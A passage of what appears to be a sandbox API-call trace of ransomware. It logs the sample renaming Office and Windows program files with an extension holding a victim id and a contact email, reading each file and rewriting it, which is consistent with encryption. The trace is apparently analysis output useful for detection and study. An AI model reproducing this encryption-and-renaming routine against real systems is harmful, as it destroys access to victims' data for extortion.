(in: hFile=0x6a4, lpBuffer=0x6f1c300*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.366] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.366] WriteFile (in: hFile=0x6a4, lpBuffer=0x6f276ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f276ff*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.366] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.366] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.366] CloseHandle (hObject=0x6a4) returned 1 [0254.752] GetProcessHeap () returned 0x630000 [0254.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0254.755] GetProcessHeap () returned 0x630000 [0254.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7437868 | out: hHeap=0x630000) returned 1 [0254.756] GetProcessHeap () returned 0x630000 [0254.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0254.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5cf82288, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1857d, dwReserved0=0xc6c7496, dwReserved1=0x7437860, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d4f40 [0254.756] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0254.757] Sleep (dwMilliseconds=0x1) [0256.001] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF", len=0x6b | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF") returned 1 [0256.002] GetProcessHeap () returned 0x630000 [0256.002] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d0c) returned 0x6fe3bb0 [0256.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.500] CloseHandle (hObject=0x5ec) returned 1 [0257.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5400 [0257.507] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0257.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.507] GetProcessHeap () returned 0x630000 [0257.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c1) returned 0x6fe8880 [0257.507] GetProcessHeap () returned 0x630000 [0257.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c1) returned 0x7531e88 [0257.508] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.508] ReadFile (in: hFile=0x5ec, lpBuffer=0x6fe8880, nNumberOfBytesToRead=0x9a0, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe8880*, lpNumberOfBytesRead=0x343ff0c*=0x9a0, lpOverlapped=0x0) returned 1 [0257.577] GetProcessHeap () returned 0x630000 [0257.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0257.577] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.577] WriteFile (in: hFile=0x5ec, lpBuffer=0x7531e88*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7531e88*, lpNumberOfBytesWritten=0x343ff0c*=0x9a0, lpOverlapped=0x0) returned 1 [0257.577] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.577] WriteFile (in: hFile=0x5ec, lpBuffer=0x7532827*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7532827*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.577] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.577] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.578] CloseHandle (hObject=0x5ec) returned 1 [0257.578] GetProcessHeap () returned 0x630000 [0257.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7531e88 | out: hHeap=0x630000) returned 1 [0257.578] GetProcessHeap () returned 0x630000 [0257.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe8880 | out: hHeap=0x630000) returned 1 [0257.578] GetProcessHeap () returned 0x630000 [0257.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0257.578] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f7a28bc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0xc6c7496, dwReserved1=0x6fe8878, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0257.578] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0257.578] Sleep (dwMilliseconds=0x1) [0257.590] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF", len=0x68 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF") returned 1 [0257.590] GetProcessHeap () returned 0x630000 [0257.590] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb8) returned 0x6fe3bb0 [0257.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.591] CloseHandle (hObject=0x5ec) returned 1 [0257.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="EDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EDGEIN~1.FIR")) returned 0x6d53c0 [0257.593] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0257.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.593] GetProcessHeap () returned 0x630000 [0257.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706caf8 [0257.593] GetProcessHeap () returned 0x630000 [0257.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706c8b0 [0257.593] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.593] ReadFile (in: hFile=0x5ec, lpBuffer=0x706caf8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706caf8*, lpNumberOfBytesRead=0x343ff0c*=0x200, lpOverlapped=0x0) returned 1 [0257.597] GetProcessHeap () returned 0x630000 [0257.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0257.597] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.597] WriteFile (in: hFile=0x5ec, lpBuffer=0x706c8b0*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c8b0*, lpNumberOfBytesWritten=0x343ff0c*=0x200, lpOverlapped=0x0) returned 1 [0257.597] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.597] WriteFile (in: hFile=0x5ec, lpBuffer=0x706caaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706caaf*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.597] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.597] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.597] CloseHandle (hObject=0x5ec) returned 1 [0257.597] GetProcessHeap () returned 0x630000 [0257.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c8b0 | out: hHeap=0x630000) returned 1 [0257.597] GetProcessHeap () returned 0x630000 [0257.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706caf8 | out: hHeap=0x630000) returned 1 [0257.597] GetProcessHeap () returned 0x630000 [0257.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0257.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f7c8a6e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x343fd20, dwReserved1=0x706caf8, cFileName="EDGE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EDGEIN~1.FIR")) returned 0x6d5580 [0257.598] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0257.598] Sleep (dwMilliseconds=0x1) [0257.634] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM", len=0x68 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM") returned 1 [0257.634] GetProcessHeap () returned 0x630000 [0257.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb4) returned 0x6fe3bb0 [0257.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0257.635] CloseHandle (hObject=0x69c) returned 1 [0257.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.636] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="EDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EDGEEL~1.FIR")) returned 0x6d5500 [0257.636] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0257.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\edge.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0257.636] GetProcessHeap () returned 0x630000 [0257.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7533010 [0257.637] GetProcessHeap () returned 0x630000 [0257.637] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x753e440 [0257.637] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.637] ReadFile (in: hFile=0x69c, lpBuffer=0x7533010, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7533010*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.588] GetProcessHeap () returned 0x630000 [0263.588] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0263.588] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.588] WriteFile (in: hFile=0x69c, lpBuffer=0x753e440*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x753e440*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.589] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.589] WriteFile (in: hFile=0x69c, lpBuffer=0x754983f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x754983f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.589] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.589] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.589] CloseHandle (hObject=0x69c) returned 1 [0263.590] GetProcessHeap () returned 0x630000 [0263.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x753e440 | out: hHeap=0x630000) returned 1 [0263.590] GetProcessHeap () returned 0x630000 [0263.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7533010 | out: hHeap=0x630000) returned 1 [0263.590] GetProcessHeap () returned 0x630000 [0263.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0263.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\EDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x630f97b9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb91c, dwReserved0=0xc6c7496, dwReserved1=0x7533008, cFileName="EDGE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EDGEEL~1.FIR")) returned 0x6d5340 [0263.590] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0263.590] Sleep (dwMilliseconds=0x1) [0264.604] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x70 | out: pbstr=0x343ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0264.604] GetProcessHeap () returned 0x630000 [0264.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c2c) returned 0x6fe3bb0 [0264.604] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.607] Sleep (dwMilliseconds=0x1) [0266.173] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi", len=0x6b | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi") returned 1 [0266.174] GetProcessHeap () returned 0x630000 [0266.174] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc4) returned 0x6fe3bb0 [0266.174] CreateFileW (lpFileName="C:\\Program 